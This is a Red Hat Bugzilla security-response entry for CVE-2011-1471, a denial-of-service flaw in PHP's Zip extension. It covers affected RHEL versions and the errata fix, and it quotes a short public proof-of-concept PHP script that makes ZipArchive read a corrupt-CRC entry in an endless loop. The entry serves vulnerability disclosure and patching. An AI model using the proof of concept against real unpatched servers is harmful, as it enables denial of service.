Bug 690915 (CVE-2011-1471)

Summary: CVE-2011-1471 php: DoS (excessive CPU consumption) by processing certain Zip archive files
Product: [Other] Security Response Reporter: Jan Lieskovsky <jlieskov>
Component: vulnerabilityAssignee: Red Hat Product Security <security-response-team>
Status: CLOSED ERRATA QA Contact: David Kutálek <dkutalek>
Severity: low Docs Contact:
Priority: low    
Version: unspecifiedCC: dkutalek, fedora, jorton, rpm, vdanen
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2011-11-02 23:13:13 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:
Bug Depends On: 740731, 740732, 740733, 740734, 831135    
Bug Blocks: 715030    

Description Jan Lieskovsky 2011-03-25 19:09:07 UTC
Common Vulnerabilities and Exposures assigned an identifier CVE-2011-1471 to
the following vulnerability:

Integer signedness error in zip_stream.c in the Zip extension in PHP
before 5.3.6 allows context-dependent attackers to cause a denial of
service (CPU consumption) via a malformed archive file that triggers
errors in zip_fread function calls.

References:
[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1471
[2] http://bugs.php.net/bug.php?id=49072
[3] http://www.php.net/ChangeLog-5.php

Upstream patches / backports:
[4] http://svn.php.net/viewvc/?view=revision&revision=287095
[5] http://svn.php.net/viewvc/?view=revision&revision=287102
[6] http://svn.php.net/viewvc/?view=revision&amp;revision=307916
[7] http://svn.php.net/viewvc/?view=revision&amp;revision=307917

Comment 1 Jan Lieskovsky 2011-03-25 19:11:45 UTC
Public PoC from [2]:
====================
$o = new ZipArchive();
if (! $o->open('test.zip',ZipArchive::CHECKCONS)) {
        exit ('error can\'t open');
}
$o->getStream('file2'); // this file is ok
echo "OK";
$r = $o->getStream('file1'); // this file has a wrong crc
while (! feof($r)) {
        fread($r,1024);
}
echo "never here\n";

?>

Comment 2 Jan Lieskovsky 2011-03-25 19:13:28 UTC
This issue did NOT affect the versions of the php package, as shipped
with Red Hat Enterprise Linux 4 and 5.

--

This issue affects the version of the php53 package, as shipped with
Red Hat Enterprise Linux 5.

This issue affects the version of the php package, as shipped with
Red Hat Enterprise Linux 6.

--

This issue does NOT affect the versions of the php package, as shipped
with Fedora release of 13 and 14 (particular package updates have been
already scheduled).

Comment 6 errata-xmlrpc 2011-11-02 22:24:43 UTC
This issue has been addressed in following products:

  Red Hat Enterprise Linux 5
  Red Hat Enterprise Linux 6

Via RHSA-2011:1423 https://rhn.redhat.com/errata/RHSA-2011-1423.html

Comment 7 Vincent Danen 2011-11-02 23:13:13 UTC
Statement:

(none)